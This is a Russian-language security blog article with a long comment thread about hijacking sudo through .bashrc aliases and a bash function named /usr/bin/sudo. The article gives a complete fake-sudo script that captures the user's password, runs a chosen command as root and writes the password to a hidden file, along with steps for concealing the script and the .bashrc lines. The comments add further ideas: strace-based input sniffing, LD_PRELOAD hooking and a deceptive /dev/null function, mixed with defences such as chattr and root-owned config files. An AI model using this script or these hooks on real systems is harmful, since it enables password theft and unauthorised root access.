Идея редактирования переменных окружения пользователя для повышения прав при тестировании на проникновение стара как мир. По этой теме написано множество статей, и даже в книгах начали появляться советы по использованию абсолютного пути вместо относительного. Вот пример такого совета из довольно известной книги Unix и Linux. Руководство системного администратора (4 издание):
…
Рекомендуем взять за правило при вводе команды указывать полное имя, например /bin/su или /usr/bin/su, а не просто su. Это послужит определенной защитой от тех программ с именем su, которые преднамеренно были прописаны в переменной среды path злоумышленником, намеревавшимся собрать хороший “урожай” паролей.
…
Но так ли это безопасно? Если вы тоже задавались этим вопросом, то добро пожаловать под кат.
Давайте по порядку. Допустим, мы попали на *nix сервер под учетной записью пользователя с ограниченными правами. Мы хотим получить права рута, но паролей мы не знаем. Допустим, мы перепробовали все стандартные способы повышения прав через ошибки в конфигурациях и различные эксплойты под ядро, но всё безрезультатно. Казалось бы, вариантов не осталось. Однако, если пользователь есть в группе sudo, то можно попробовать провернуть один трюк.
Идея заключается в том, что на большинстве *nix машин используется sudo для временного повышения прав. При использовании sudo пользователю требуется ввести его текущий пароль. Следовательно, знание пароля пользователя с доступом к sudo даёт нам рута.
Почти все современные *nix сервера используют bash или zsh в качестве стандартной командной оболочки. У них есть файлы конфигов (например, .bashrc
для bash), которые хранятся в домашней директории. С их помощью можно изменить в командной оболочке почти всё. По умолчанию они имеют права 644 (-rw-r--r--), следовательно, владелец может их редактировать без особых проблем.
Суть заключается в том, что командные оболочки имеют alias`ы, с помощью которых можно укорачивать команды.
Например, стандартный alias из .bashrc:
alias ll='ls -alF'
При вызове ll на самом деле будет вызываться ls –alF. Аналогично мы можем поступить с sudo:
alias sudo='echo PWNED'
После этого выполнение команды sudo по относительному пути будет вызывать то, что мы указали в alias`е.
Использовать слеши в alias нельзя, поэтому абсолютный путь действительно является безопасным решением в данном случае. Так же абсолютный путь спасёт в случае редактирования переменной окружения PATH.
А теперь рассмотрим случай, в котором абсолютный путь не спасёт. В конфигурация можно создавать функции, которые работают аналогично alias`ам за исключением того, что в их именах можно использовать слеши:
function /usr/bin/sudo() {
echo PWNED
}
Теперь вызов /usr/bin/sudo будет тоже выполнять наш код.
Следующий этап – написание скрипта, который будет вести себя аналогично sudo (спрашивать пароль и повышать права пользователя), но одновременно с этим перехватывать пароль пользователя и выполнять произвольный код с правами администратора.
В конце концов, мы получим исполнение нашего скрипта при попытке вызвать sudo через абсолютный или относительный путь.
Для начала пишем код ядовитого sudo:
#!/bin/bash
echo -n "[sudo] password for $LOGNAME: "
read -s password
echo
command='whoami'
eval "echo -e $password | sudo -S --prompt='' $command"
eval "echo -e $password | sudo -S --prompt='' $*"
Он спрашивает пароль пользователя в стиле sudo, после чего сохраняет его в переменную, выполняет наш код с повышенными правами и затем выполняет то, что хотел пользователь.
Теперь прячем его в какую-нибудь неприметную папку (например ~/.local) и выставляем на него +x права на исполнение (chmod +x sudo). Имя файла нам, по сути, безразлично, так что лучше его тоже назвать как-нибудь неприметно (например, .config
).
С помощью read -s password
мы считываем пароль в переменную $password.
В переменной command='whoami'
содержится команда, которую мы будем выполнять с повышенными правами.
Конструкция echo -e $password | sudo -S
в данном случае используется для того, чтобы передать нашу переменную с паролем $password в sudo через stdin.
--prompt=''
нужно для того, чтобы реальное sudo не выводило сообщение о просьбе ввода пароля, когда мы к ней обратимся, иначе это будет выглядеть несколько подозрительно.
Теперь нужно найти полный путь до sudo с помощью whereis. Например, /usr/bin/sudo. Поправим .bashrc так, чтобы команды sudo и /usr/bin/sudo запускали наш скрипт. Для этого нужно записать в .bashrc (куда-нибудь в центр для неприметности) следующий код, который следует отредактировать под себя:
alias sudo='~/.local/.config'
function /usr/bin/sudo() {
eval "~/.local/.config $*"
}
Проверяем:
Профит. Теперь попробуем сохранить пароль пользователя в файл. Для этого заменим текущую команду.
command="echo $password > ~/.local/.1"
Пробуем:
Всё получилось. qwerty123 и есть пароль пользователя. Остаётся еще множество частных случаев, при которых наш скрипт может повести себя некорректно. Например, sudo su
или sudo --help
. Поскольку в этой статье мы рассматриваем только возможность реализации подобной атаки, то процесс доведения её до блеска я перекладываю на плечи читателя.
Теперь вы знаете, что использование абсолютного пути в *nix системах не так уж безопасно.
А теперь главный вопрос: как же защититься от возможной атаки? На мой взгляд, оптимальным вариантом будет разрешить редактирование .bashrc только из под root`а. Конечно, есть второй вариант, но он менее удобный и безопасный: постоянно проверять целостность конфигов.
Спасибо за внимание :)
Комментарии (133)
lega
21.02.2017 17:33+2А теперь главный вопрос: как же защититься от возможной атаки?
* Для «анонимов» делать отдельную учетную запись, в убунте есть «гостевая сессия».
* Если подключение через ssh — авторизоваться заново сразу в рута ключами (т.е. без использования sudo).
GH0st3rs
21.02.2017 17:36Круто, спасибо за ещё один метод. Однако функции можно объявлять и прямо в оболочке, так что проверка конфига не спасёт:
yar1k01
21.02.2017 18:07функция продержится только для этой сессии и скорее всего незаметной не останется.
GH0st3rs
21.02.2017 18:10+1Да верно. После закрытия терминала она исчезнет. Но на невнимательных пользователях может сработать. Тем более, если предварительно очистить историю и перетереть буфер команд в терминале
delvin-fil
21.02.2017 18:06Не задумывался о такой возможности, спасибо за инфу.
А теперь вопрос: А можно ли держать все тоже, что и в ~/.bashrc, но с другим именем файла, чтобы изменения в нем не срабатывали?
Собственно понятно, что имя файла задается в ~/.bash_profile, но вот и его изменить.BetepokNoname
21.02.2017 18:20В исходниках bash`а путь к .bashrc захардкожен, поэтому единственный способ изменить его — пересобрать bash из исходников.
http://git.savannah.gnu.org/cgit/bash.git/tree/config-top.h
/* Default interactive shell startup file. */ #define DEFAULT_BASHRC "~/.bashrc"
celebrate
21.02.2017 18:42+3Я не понял, как мы можем подложить наш .bashrc другому пользователю в хомяк, если у нас туда нет прав?
Или здесь описан способ подмены .bashrc в собственном хомяке? Но какой в этом смысл?delvin-fil
21.02.2017 18:52Про подмену речи и не шло.
alias'омcelebrate
21.02.2017 19:13Все равно не понимаю: как мы заставим другого пользователя использовать наш алиас?
BetepokNoname
21.02.2017 19:22+1Мы работаем только с .bashrc текущего пользователя. Смысл в том, что если пользователь находится в группе sudo и мы получим его пароль, то мы становимся root`ом на сервере. Так что наша задача получить пароль текущего пользователя и повысить права.
celebrate
21.02.2017 19:25-1Это типа если пользак от компа отошел и экран не залочил? ))
Окей, а в случае с сервером — как мы попадем в шелл пользователя, не зная его пароль?maximw
21.02.2017 19:41Так речь не про получение доступа к пользователю, а про повышение полномочий до рута.
celebrate
21.02.2017 23:57+5Статья описывает как угнать пароль у самого себя. Это, несомненно, полезно, но где здесь повышение привилегий до рута, я все равно не понимаю?
maximw
22.02.2017 00:06+2Статья о том, как получить пароль от пользователя, к которому уже есть доступ. Например, вы сперли ssh-ключ пользователя или имеете веб-шелл через дырку в сайте. Но чтоб сделать что-то серьезное нужен рут. Если пользователь судоер, то его пароль даст вам эту возможность.
celebrate
22.02.2017 00:18+1Спер ssh-ключ пользователя — отлично, зачем мне теперь пароль?
Через дырку в сайте я попал в пользователя с неограниченным судо? То есть веб-сервер работает от пользака с крутыми правами на судо? Вы серьезно?
Статья говорит нам о том, что очень небезопасно даже выполнять команды по полному пути, т.к. кто-то уже мог зайти под вами. Ну ок, тогда надо еще написать статью, что очень небезопасно работать на сервере, если вы разместили рутовый ssh-ключ и айпишник сервера на всех форумах Интернета. Тот же смысл…VolCh
22.02.2017 10:03+2Один ключ от нерутового пользователя в группе sudo/adm не даст вам обычно выполнить команду sudo — нужен ещё пароль пользователя.
saboteur_kiev
03.03.2017 16:19В продакшене пароль на sudo в основном запрашивается, но все таки может и не запрашиваться…
Scorry
22.02.2017 12:14-1Ниже спрашивал, и у вас спрошу: ну, спёрли вы приватный (секретный, закрытый) ключ пользователя. И что? Он же паролем закрыт, правильно? Или есть люди, которые хранят закрытый ключ для доступа к удалённому серверу без пароля? Нет, серьёзно — мне там внизу пара каких-то анонимных «экспертов» по безопасности ставит минусы за очевидные вопросы о вселенской глупости: как можно хранить закрытый ключ без пароля? КАК?
flaresun
22.02.2017 13:00Не в качестве «эксперта», а скорее в качестве КО, выступающего в качестве набюдателя :) — многие юзают ключи только для того, чтобы не вводить пароль для доступа к удалённому серверу, а ввод passphrase для них — это почти то же, от чего они хотят избавиться :)
Scorry
22.02.2017 13:20-1В любом руководстве прямо указывается, что закрытый ключ должен быть закрыт паролем. Это настолько базовые знания, принципы, понятия, что ли, что я даже не знаю, кто из нас больший кэп — я или вы: вы с вашей информацией, что ленивые невежды существуют или я с моим убеждением, что повстречать их здесь было бы странным.
Несомненно, существуют люди, выкладывающие ключ под коврик и не оснащающие квартиру сигнализацией. Я также подозреваю, что пара таких «специалистов» минусуют мои очевидные ошарашенные вопросы — личико показать боятся, конечно же, что меня в очередной раз обескураживает совершенно. И эти люди получили сюда инвайт? Серьёзно? Я, рид-онли, должен удивляться уровню их преступной некомпетентности?
Да ладно, это понятно, что некомпетентных людей вокруг хватает. Но тут, где существует достаточно требовательная система отбора, где по определению собираются специалисты по IT… Не понимаю.
Так и статье надо название сменить, например — «Как хакнуть простофилю, тысяча и один способ».VolCh
22.02.2017 17:34-1Как админ компа, к которому я предоставляю ssh-доступ другим людям, я не знаю как они хранять свой закрытый ключ, с паролем или без пароля, на токене с тройной аутентификацией или на публичной файловой шаре. Пароль sudo — последний уровень защиты, доступный каждому.
Scorry
22.02.2017 17:54+1Стоп-стоп. Вы указали, что вы — админ, вы отвечаете за безопасность вашего компьютера.
И раздаёте судо юзерам?
И, раздавая судо юзерам, никак не прогнозируете их халатность и/или злой умысел?
Вы точно отвечаете за безопасность этого конкретного компьютера?
am-amotion-city
28.02.2017 13:03+1В любом руководстве прямо указывается, что закрытый ключ должен быть закрыт паролем.
Ничего глупее в своей жизни не слышал. Закрытый ключ должен находиться в защищенном месте — вот это правда. Жесткий диск у меня зашифрован, пароль к учетке очень сложен, но уже после того, как я его ввел — не вижу никакого смысла вводить теперь пароль от ключа на каждый чих.
Хорошо защищать нужно сам ключ от окружающих, а не его использование от самого себя.
Scorry
28.02.2017 13:24-2Ничего глупее в своей жизни не слышал.
Чтение продуктивнее, чем восприятие на слух. Попробуйте воспользоваться советом, прекратить вырывать фразы из контекста и применять частный опыт в дискуссии об общепринятых правилах.saboteur_kiev
01.03.2017 16:16+2В большинстве случаев, ssh ключи создают для того, чтобы авторизация проходила автоматически, то есть без ввода пароля вручную.
Дополнительная возможность защитить паролем ssh ключ — это как опция, которая в моей практике встречалась наверное раза 2 на пару тысяч.Scorry
01.03.2017 16:35-2Если умело ухватить микроскоп, им отлично можно забивать гвозди. Однако авторизация по ключам для SSH — дополнительный слой безопасности, а не предмет повышенного удобства.
Сложившейся практикой может быть, например, плевать под ноги и не мыть руки перед едой. Быстрее же, правда? Если в ВАШЕЙ практике защита приватного ключа паролем — два раза на тысячу, у меня нечего сказать вам обнадёживающего о вашей практике, к сожалению.VolCh
01.03.2017 16:46+3Авторизация (а точнее аутентификация) по ключам — замена парольной, а не дополнительный слой. В чём-то лучше, в чём-то хуже и по удобству, и по безопасности.
Дополнительный слой защиты ключа по паролю, доступный, как правило, только самому пользователю (я не слышал что атуентифицирующая сторона может отклонить запрос, если ключ без пароля — у неё просто нет информации об этом) вводится на усмотрение пользователя, на его личный баланс между удобством и безопасностью.
maximw
22.02.2017 13:11+2Блин, да статья вообще не про ключ и не про статистику использования passphrase.
Статья рассказывает про один вектор атаки с одной целью при заданных исходных условиях. Откуда эти условия взялись — это за рамками статьи. Вы ж не спрашиваете в задачке про землекопов откуда они взяли лопаты, и почему там не экскаватор.Scorry
22.02.2017 13:24-2Да какой к чёрту вектор атаки, когда атакуемый пренебрегает элементарными рекомендациями по безопасности? Может, тогда ещё статью напишут, как брутфорсить SSH по словарным паролям? Сначала по паролю 123, потом по паролю 12345, потом по паролю qwerty? Вы это серьёзно, что ли, на самом деле — «вектор атаки» и незакрытый приватный ключ в одной статье?
maximw
22.02.2017 13:34+1Доступ к шеллу пользователя можно иметь не только через незакрытый ключ.
Можно использовать уязвимости ПО, можно соц. инженерить. Не рассматривали этот вариант?Scorry
22.02.2017 14:12-3Если опишете такие варианты — рассмотрю, конечно.
Scorry
22.02.2017 18:01-3Я не ощущаю, но вполне понимаю невысказанную боль тех, кто ставит минусы. А буквы набрать кто-то сможет? Пожалуйста, мне на самом деле интересно. Совсем неинтересно видеть вашу молчаливую и оттого бессмысленную оценку моих комментариев.
saboteur_kiev
03.03.2017 16:24Суть в том, что данная статья про то, что запуск приложения по абсолютному пути можно подделать созданием функции. И это еще один вектор атаки.
И это не имеет никакого отношения к тому, что вы хотите развести дискуссию про ssh ключи, о чем вам уже говорят прямым текстом.
P.S. Хоите пообсуждать — напишите статью, что вы считаете, создавая ssh ключи нужно всегда защищать их паролем, и пообсуждайте это в комментарийх к вашей статье.Scorry
03.03.2017 17:37Если вы читали написанное мной, то должны были понять, что суть в том, что этот вектор атаки существует только против тех, кто использует приватные ключи без шифрования, то есть халатно относится к вопросам безопасности. Если выставить сервер на улицу, против него можно осуществить сотни атак по различным векторам, и причина этого — не наличие вектора атаки, а крайняя неквалифицированность того, кто этот сервер выставит.
Я спросил про условия, дающие возможность использовать данную уязвимость. В ответ — неуверенное мычание про возможную компрометацию веб-шелла, про личное удобство, похищенное устройство и сложившиеся практики. К автору статьи у меня никаких вопросов вообще нет, аб-со-лют-но. Все остальные, бьющие себя пяткой в грудь, и молчаливые подписанты заодно не заслуживают иметь права на sudo нигде вообще, даже на личном сервере.saboteur_kiev
03.03.2017 19:51Приведите пожалуйста пример, каким образом приватные ключи относятся к выполнению программы по абсолютному пути?
Пример использования данной уязвимости уже приводились в комментариях, в том числе и мной. В основном в виде обсфукации. А вот кидаться в крайности — это не хорошо.
VolCh
22.02.2017 17:35Далеко не факт, что пренебрегает именно атакуемый (владелец сервера), а не кто-то из тех, кому он дал доступ. Ну и вариант, что сперли закрытый ключ вместе с паролем тоже не исключен.
Scorry
22.02.2017 18:14-1сперли закрытый ключ вместе с паролем
Согласен, это как раз вариант для применения описанного в статье.
Но! — раздавать судо и не задумываться о последствиях хотя бы на секунду — я таких админов не видел, честно говоря. Рут в системе должен быть один.
Scorry
22.02.2017 00:01-2Ничего не понял. Поясните, пожалуйста: если пользователь sudoer, то зачем ему все эти танцы? Если пользователь не sudo'er, то как он подложит отравленный .bashrc другому пользователю?
VolCh
22.02.2017 10:05В систему вы от пользователя зашли, но для выполнения sudo нужен пароль. Подменяем sudo и ждём пока пользователь воспользуется и введёт пароль для вас.
Scorry
22.02.2017 10:57-2О господи. КАК я зайду в систему без пароля? КАК я зайду в чужой шелл?
zhigalin
22.02.2017 11:30О господи, КЛЮЧ, КЛЮЧ же!
Scorry
22.02.2017 12:03-1То есть ещё и похищенный приватный ключ должен быть без парольной защиты, что ли?
Что, есть такие люди, серьёзно? Минусаторы, это же вы не закрываете свой приватный ключ паролем, да? Для удобства, да?zhigalin
22.02.2017 18:01То есть ещё и похищенный приватный ключ должен быть без парольной защиты, что ли?
Да, или как вариант ключ спёрли вместе с паролем.
Что, есть такие люди, серьёзно?
Да туева хуча просто.
Минусаторы, это же вы не закрываете свой приватный ключ паролем, да?
Вопрос не ко мне.
Для удобства, да?
Да.
grossws
25.02.2017 20:18Не все осиливают в
ssh-agent
/gpg-agent
/pageant
.
Ну и вполне валидный вариант, когда ключ используется без пароля — автоматизированные системы, но это, кагбэ, и не локалхост разработчика.
gaelpa
22.02.2017 10:24+1Не каждый sudoer прописан с NOPASSWD. Можно получить шелл пользователя, но не иметь возможность выполнить sudo.
Scorry
22.02.2017 10:58-1И как можно получить шелл пользователя?
MikailBag
22.02.2017 21:41+1Уязвимость.
Например, был какой-то shellshock, который позволял выполнять произвольный код.
stat1c_void
22.02.2017 22:32-2Ну например
помогите, пожалуйста исправить такую программу:
cat «test… test… test...» | perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|` (...)'
— не печатает
:)grossws
25.02.2017 20:19Рядом с этой строкой важно указывать, что её не стоит запускать, кроме как на тестовой виртуалке. И то найдутся сказочные товарищи, которые попробуют.
stat1c_void
25.02.2017 20:25+2Это очевидно, поэтому я порезал эту строку в конце, чтобы она не работала, не надеясь на всякие предупреждения. "(...)" — это не перл-код…
Finesse
22.02.2017 02:08Смысл в том, чтобы узнать пароль пользователя, в которого вы совершили вход без пароля (по какой-либо причине). А пароль нужен, чтобы выполнять команды от root через sudo.
Scorry
22.02.2017 11:01-1Осталось только найти способ (а не причину) войти в шелл пользователя, не зная пароля.
mayorovp
22.02.2017 15:050day RCE в любом IM-клиенте.
Scorry
22.02.2017 17:45Поделитесь примером, пожалуйста. Можно протухшим.
mayorovp
22.02.2017 18:54https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2008-1805
Не на линуксе, прадва… Но неужели вы сомневаетесь в том, что при таком множестве создаваемых "на коленке" клиентов однажды попадется уязвимый?
saboteur_kiev
23.02.2017 20:08Да суть не в этом. В основном прикол в том, шелл — вещь старая, проверенная, и поведение команд в нем предсказуемое.
А функция, которая подменяет собой запуск файла с указанием прямого пути — штука, которую не каждый самостоятельно найдет даже за много лет. Просто потому что мысль нетривиальная, при этом все так просто…
В общем серьезной уязвимости в этом нет, но фича нестандартная — это и вызывает удивление.
st0ne_c0ld
21.02.2017 18:47[sarcasm] alias sudo='sudo rm -rf /root_mountpoint' [/sarcasm]
bash --restricted не спасет нас от нашего сервера (к слову уже скомпрометированного)?BetepokNoname
21.02.2017 19:11Restricted bash интересный вариант, но при редактирование .bashrc он не поможет. В restricted режиме bash перестаёт воспринимать команды по абсолютным путям и не даёт править PATH, однако мы можем свободно править PATH через .bashrc. Например:
PATH=~/.local/:$PATH
После этого создаём в папке ~/.local/ файл sudo со своим содержимым. Profit ;)
st0ne_c0ld
21.02.2017 20:44ОК, тогда это лечится:
chown root:root .bash_profile .bashrc .profile
дефолтные права 0644 можно оставить.
PS:
Может тогда сразу .bash_profile править? ;-)
# .bash_profile # Get the aliases and functions if [ -f ~/.bashrc ]; then . ~/.bashrc fi # User specific environment and startup programs PATH=$PATH:$HOME/bin export PATH
BetepokNoname
21.02.2017 22:07Изменение владельца файла самый действенный способ в данном случае. По крайней мере он значительно безопаснее и удобнее остальных ;)
По поводу .bash_profile или .bashrc — разница не велика, просто в случае .bash_profile придётся ждать, пока пользователь перезайдёт в систему, а изменения от .bashrc сработают уже при следующем открытие терминала.
At0mik
22.02.2017 12:23$ sudo chown root:root .bashrc
к сожалению, сменить владельца не поможет. Пользователь имеет право запись на папку ~/
$ mv .bashrc .trololo
$ cat .trololo > .bashrcst0ne_c0ld
22.02.2017 13:04Отставить панику! :-)
[root@test1 int2]# chown root:root .bashrc ; chattr +i .bashrc [root@test1 int2]# su - int2 boom [int2@test1 ~]$ ls -la .bashrc -rw-r--r-- 1 root root 135 Feb 22 17:38 .bashrc [int2@test1 ~]$ mv .bashrc 1 mv: cannot move `.bashrc' to `1': Operation not permitted [int2@test1 ~]$
И это я еще не вспомнил про selinux и контексты на файлы.At0mik
22.02.2017 14:37Не знал что атрибуты могут помочь. Спасибо за идею.
А вот selinux далеко не у всех задействован. Плюс к этому, правильная его «готовка»… это уже высший пилотаж который мне не доступен.
Сделать restorecon на файл или «открыть» лишний порт… ok… но не более.
selivanov_pavel
22.02.2017 12:53chown root:root .bash_profile .bashrc .profile
cp .bashrc .bashrc.old
rm .bashrc
mv .bashrc.old .bashrc
В *nix право удаления файла(хардлинка) определяется правами на папку в которой он лежит.
saboteur_kiev
21.02.2017 19:19+2По сути, нужно запретить использование слешей в именах функций.
Можно даже прямо пулл реквестом, с примером злоупотребления.Lsh
23.02.2017 13:00Я думаю, это решение не с той стороны, шеллов много, все со своими особенностями.
На мой взгляд, проблема в sudo.
Почему оно никак не сигнализирует, что пароль получен через перенаправление ввода/вывода?
Хотя бы можно быстро поменять пароль постфактум.
Интересно, есть ли механизм чтобы ввод от пользователя получать максимально напрямую?saboteur_kiev
23.02.2017 18:34+1Дело явно не в sudo. Кто мешает написать что-то типа:
read -p "[sudo] password for $LOGNAME: " -s password
echo $password > \data\kekeke.lst
echo "Password error, please try again"
sudo
ZyXI
23.02.2017 19:33Нету, не через ssh. Максимум вы можете проверить, что ввод идёт с терминала, но сделать stdin терминалом и всё равно отправить туда украденный пароль несложно: такое позволяет, к примеру, скрипт
expect
на tcl, есть много портов на другие языки.
onix74
21.02.2017 19:47Если бы я попал в сессию пользователя, имеющего возможность поднять привилегии через sudo, я бы просто создал пользователя с известным мне паролем и имеющим возможность использовать sudo и не городил бы огороды с изменениями .bashrc и созданием дополнительных скриптов.
Статья интересная некоторыми приёмами, которые могут оказаться полезными для выполнения вполне себе легитимных задач.
rPman
21.02.2017 20:32+2Символы / в имени идентификатора функции это что то за гранью, я в шоке!
Я считаю эту 'фичу' практически уязвимостью повышения привелегий.
какие пароли, вы что, достаточно подменить команду, подставляемую в sudo на нашу, и больше ничего не надо! пароли, ключи доступа, внешние устройства авторизации — все идет лесом!
p.s. существуют ли готовые решения (внешние устройства или хотя бы приложения android) которые на любое превышение полномочий sudo и авторизацию, запрашивают доступ с подтверждением на это внешнее устройство (не просто да/нет а с подробным описанием что именно)?celebrate
22.02.2017 00:27sudo по дефолту использует PAM-аутентификацию, а значит любые устройства, работающие с PAM, могут быть использованы для sudo. Например, Google Authenticator, который есть для Андроид.
rPman
22.02.2017 02:37Двухфакторная авторизация по таймкодам хороша но не подходит под требование — я должен знать что за операция требует повышение привилегий или доступ к какому серверу ssh требуется и т.п.!
Какими готовыми инструментами можно настроить передачу и отображение необходимой информации на android устройстве?!
Мне недостаточно автоматического подтверждения (когда android устройство само передаст необходимую информацию или проведет авторизацию самостоятельно) и недостаточно безликого окошка принять/отказать, я хочу знать кто и зачем требует права! именно это позволит защититься от атак, использующих уязвимость, описанную в статье.celebrate
22.02.2017 11:41То есть пользователь вводит команду и ждет аппрува от вас? Тогда наверное лучше оформить запрос в виде служебной записки с подробным объяснением, что и зачем требуется, и обязательно с подписью начальника отдела. Тогда это гарантировано не пройдет мимо вас :)
Сомневаюсь, что в Линуксе есть готовые решения подобного рода.rPman
22.02.2017 13:47-1Именно, с электронной подписью и логированием, а там где необходимо, внешнее устройство должно хранить приватные ключи и отвечать за шифрование! Еще уровни и зоны ответственности вводить, разные люди (устройства авторизации) отвечают за разные типы действий!
А вы что думали?
Конкретно сейчас я бы не отказался просто от того что писал в предыдущем комментарии, развитие системы до корпоративной системы безопасности можно отложить на потом.celebrate
22.02.2017 14:09Вас спасет SElinux. В нем даже будучи реальным рутом, ты можешь иметь очень ограниченные права в зависимости от своей роли. То бишь все пользаки могут быть рутами, но роль может быть у всех разная. Но готовых политик на этот счет нет, придется все писать самому.
rPman
22.02.2017 15:29вы похоже не понимаете проблемы?
мне не нужно меня же ограничивать, ограничения не работают когда мне НУЖЕН доступ, мне нужен простой контроль над тем что происходит в системе и парольный менеджер (точнее менеджер доступа) ВНЕ компьютера, в моем сотовом как вариант (или android-часы, идеальный юзкейс).
сейчас я использую keepass но от паролей хочу уйти, мало того хранилище ключей тоже хочу на сотовом, а вот реальных готовых инструментов для этого НЕТ или я плохо ищу.celebrate
22.02.2017 16:02Отправлять security-лог на телефон? Вы уверены, что этого и правда хотите? Готовы получать сотни сообщений в день? Тогда можно сделать так, чтобы security-лог отправлялся, например, в Slack или Telegram. Это, в принципе, не сложно.
rPman
24.02.2017 00:05Пожалуйста, не нужно за меня придумывать что я хочу, я же очень внятно описал еще три сообщения назад!
У меня на телефоне парольный менеджер, я туда бы еще положил хранилище приватных ключей и в идеале завязал бы на него их использование. Сейчас я переношу пароль на машину руками (но чаще конечно с использованием локальной установки keepass, что мне ОЧЕНЬ не нравится) — хочется исключить из этого фазу ввода пароля руками но при этом не отдавать на откуп полной автоматизации передачу этих паролей на локальную машину, потому как она может внезапно стать скомпроментированной! Просто напросто в тех случаях в которых я сейчас пишу пароли руками, я хочу видеть соответствующее сообщение на телефоне и одним касанием принимать решение — разрешить или отклонить действие.
sudo запрашивает пароль не постоянно, повторный вызов в течении некоторого времени запрос не делает
Lsh
23.02.2017 12:50достаточно подменить команду, подставляемую в sudo на нашу, и больше ничего не надо!
А так получится? Разве sudo будет видеть определённую в bash функцию?ZyXI
23.02.2017 19:37А кто сказал «на функцию»? Сохраняете куда?то скрипт, используете
sudo bash myscript.sh "$@"
,myscript.sh
выполнит с привилегиями и работу для злоумышленника, и запрос пользователя, переданный через$@
. Иbash myscript.sh "$@"
всё ещё подпадает под определение «команда».saboteur_kiev
23.02.2017 20:01Обратите внимание на заголовок статьи. Вся изюминка в имени функции.
rPman
24.02.2017 00:08обратите внимание на статью, внимательно!
sudo bash myscript.sh в предыдущем комментарии успешно подменяется функцию /usr/sbin/sudo и для надеждности еще и просто sudo
ZyXI
24.02.2017 02:09?! В статье sudo подменяется на что?то, что сохраняет пароль и использует настоящий sudo дважды, но скармливая пароль через stdin. Автор комментария, на который ответили комментарием, на который ответил я, предлагал не заморачиваться с сохранением паролей (получая проблемы, если используется не только пароль), а просто подменить команду на свою. Имя функции тут ни разу не причём, обсуждалось её содержимое.
Кстати, помимо двухфакторной аутнефикации с кодом из статьи есть ещё куча проблем: во?первых, мало того что eval там ни разу не нужен, так код составлен так, что нельзя нормально использовать какие?либо команды, содержащие в аргументах специальные символы любого рода — даже пробел всё сломает. Во?вторых,
echo
нельзя использовать для чего?либо сложнее helloworld. Особенно, если это пароль: если пользователь использует спецсимволы, то вы вполне можете увидеть пароль, начинающийся с-
и содержащий\n
. Мой bash это переваривает (если только пароль не выглядит как-e
: хоть и из двух символов, но в словарях мелькать не должен), но я не скажу за любой bash. Другие мои оболочки вроде posh и zsh не переварят нормально. В?третьих, интерактивные команды идут лесом, тот же sudo vi вы так не запустите (точнее запустите, но он вам пожалуется на ввод не с терминала). Конечно, это не суть статьи, но обойти третью проблему будет сложнее, чем просто использовать свою команду для sudo. Особенно, если нужен не просто ввод пользователя (здесь вродеcat <(printf '%s\n' "$password") /dev/stdin | sudo …
должно помочь), а полноценный терминал.saboteur_kiev
24.02.2017 13:16+3Главный посыл статьи и он же есть в названии, это то, что запуская внешнюю утилиту, с указанием абсолютного пути — все равно можно нарваться на то, что запустится не она.
А sudo тут вообще не причем, это частный случай.
P.S. Вдобавок можно немного играться с социальной инженерией, например так:
$ cat /etc/passwd | /dev/null
kekeke
Сходу, просматривая длинный чужой скрипт и не поймешь что не так в выполняемой команде, а там всего лишь и "|" вместо ">" и функция
function /dev/null { cat >> data ; echo "kekeke" ; }
Gugic
21.02.2017 20:50Все операции на сервере только по сертификату, который есть только у юзера на удаленной машине? С другой стороны при компроментации сертификата очень большие проблемы.
Livid
21.02.2017 20:53+7На самом деле, если у злоумышленника есть полный доступ к аккаунту пользователя в wheel, то это скорее всего основной пользователь в системе. А это значит, что переживать по поводу sudo в алиасах — умеренно бессмысленно. При полном доступе к аккаунту, прикрутить кейлоггер вообще не проблема, хотя для иксов, хоть для шелла. Да и утечка ключей/личных данных/секретных документов — возможно бoльшая проблема, чем потенциальный рутовый доступ.
farcaller
21.02.2017 21:30+1Спасает auditd который сразу пейджит при активности. У вас не должно быть причин активно работать на продакшене из-под рута (или любого привелигированного в sudo пользователя). Приучайтесь к полностью автоматизированным цепочкам.
ZyXI
22.02.2017 02:46+3Если у вас есть такой доступ, чтобы добавить пользователю что?то в конфиг, то пользователя не спасёт почти ничего: для начала, если есть куда положить исполняемый файл, то можно подменять системные вызовы через LD_PRELOAD. Никакой абсолютный путь не спасает.
Но даже если исполняемый файл положить негде (везде ro или noexec), то есть другой относительно простой хак: в bashrc пишем
exec strace -e read -o >(process-reads.sh) bash
(не забываем предотвращать бесконечную рекурсию) и мы можем читать всё, что пользователь пишет в bash. Если нет strace, то нужно как?то создавать pty и подставлять её на вход bash, а самим читать из оригинальной и дублировать туда, но вроде тоже ничего невыполнимого. Я использую что?то подобное, чтобы всегда запускать zsh внутри dtach и hilite (первое против случайных закрытий эмулятора терминала, второе подсвечивает stderr красным (чтобы отличался от stdout) и провоцирует странное поведение у некоторых программ).
В zsh намного проще: есть куча виджетов для zle, ту же функцию
////usr//bin///////sudo
можно сгенерировать прямо на лету: после того, как пользователь нажал ввод, но до того, как что?то реально выполнилось.Sleuthhound
22.02.2017 08:14Про LD_PRELOAD тоже хотел написать, но вы меня опередили.
P.S. На самом деле векторов атаки на сервер при наличии ssh очень много, да и без ssh много, нужно следовать простому правилу — не давать sudo всем кому попадя, а если и давать, то ограничивать вход по IP и использовать rsa ключи + обязательный мониторинг активности и аудит.
Кстате говоря, админы, простой вопрос:
1. Вы монтируете /tmp и /var/tmp с nosuid и noexec? 100% нет, вот вам вектор атаки.
2. Вы мониторите задачи в cron? Вы ограничиваете использование утилиты at и cron через /etc/at.deny и /etc/cron.deny? 100% нет, вот вам и еще один вектор атаки.
3.…
и таких векторов много, конечно цель их не в получении прав root, а в простом превращении вашего сервера в часть ботнета.geher
22.02.2017 10:28+1нужно следовать простому правилу — не давать sudo всем кому попадя, а если и давать, то ограничивать вход по IP и использовать rsa ключи + обязательный мониторинг активности и аудит
Я бы добавил к этому правилу ограничение на исполняемые пользователем команды.
каждому пользователю должно быть позволено запускать от рута не более того, что ему реально требуется для работы. Т.е по возможности никаких ALL в конфиге sudo.Sleuthhound
22.02.2017 10:53Я бы добавил к этому правилу ограничение на исполняемые пользователем команды.
каждому пользователю должно быть позволено запускать от рута не более того
Это само собой разумеется, но вообще я не сторонник в принципе давать кому-то «урезаные» привилегии использовать sudo — в частности например дать кому-то право перезапускать apache или nginx, под соусом типа вот тебя нет на рабочем месте, а apache завис, дай мне право его перезапускать — нет и еще раз нет. Есть администратор сервера, который полностью отвечает за него, все остальные идут лесом.
AlexeySaff
22.02.2017 12:15достаточно заэкранировать первый символ
\su
\kinit
